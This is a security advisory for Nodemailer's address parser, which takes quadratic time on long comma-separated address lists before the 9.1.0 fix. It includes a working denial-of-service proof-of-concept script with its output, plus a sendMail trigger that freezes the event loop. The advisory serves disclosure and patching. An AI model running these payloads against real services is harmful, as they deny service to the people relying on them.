GHSA-2x7j-588g-ccc2 Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list

• npm nodemailer: < 9.1.0 → fixed in 9.1.0

Summary Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process. This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit). Details `addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505): ```js addresses.forEach(addr => { const handled = _handleAddress(addr, depth); if (handled.length) { parsedAddresses = parsedAddresses.concat(handled); // 100000 addresses: ~6068 ms parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear) ``` Measured scaling (nodemailer 9.0.6, `'[email protected],'.repeat(n)`): | addresses n | input size | parse time | ratio for 2× input | |---|---|---|---| | 25,000 | 0.19 MB | ~0.35 s | – | | 50,000 | 0.38 MB | ~1.4 s | ×4.0 | | 100,000 | 0.76 MB | ~6–8 s | ×3.9 | | 200,000 | 1.53 MB | ~25–30 s| ×4.1 | Doubling the input quadruples the time — the signature of O(n²). Reachability. The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: })` triggers it. It is also reached directly through the exported `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', '[email protected],'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s. Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing. PoC Environment: Node.js ≥ 18 and the published `[email protected]`. No transport, network, or configuration required — the cost is in parsing. `poc-dos.js`: ```js 'use strict'; const addressparser = require('nodemailer/lib/addressparser'); console.log('addresses | input size | parse time'); for (const n of [25000, 50000, 100000, 200000]) { const payload = '[email protected],'.repeat(n); // n valid, comma-separated recipients const t0 = process.hrtime.bigint(); addressparser(payload); // blocks synchronously const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms'); } ``` Run: ``` npm init -y && npm install [email protected] node poc-dos.js ``` Actual output (nodemailer 9.0.6): ``` addresses | input size | parse time 25000 | 0.19 MB | 381 ms 50000 | 0.38 MB | 1435 ms 100000 | 0.76 MB | 7949 ms 200000 | 1.53 MB | 25154 ms ``` Equivalent trigger through the normal send API (freezes the event loop): ```js const nodemailer = require('nodemailer'); nodemailer.createTransport({ jsonTransport: true }) .sendMail({ from: '[email protected]', to: '[email protected],'.repeat(150000), subject: 'x', text: 'y' }); // ~15+ seconds of 100% CPU inside addressparser before anything is sent ``` Impact • Who is impacted: any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed. Patched in 9.1.0 Three separate quadratic paths were fixed, not one: • `addressparser` rebuilt its accumulator with `concat()` on every address (9116da9). • The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b ,'.repeat(n)` (same commit). • `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: `'[email protected],'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed. Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed (83b8c48). Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.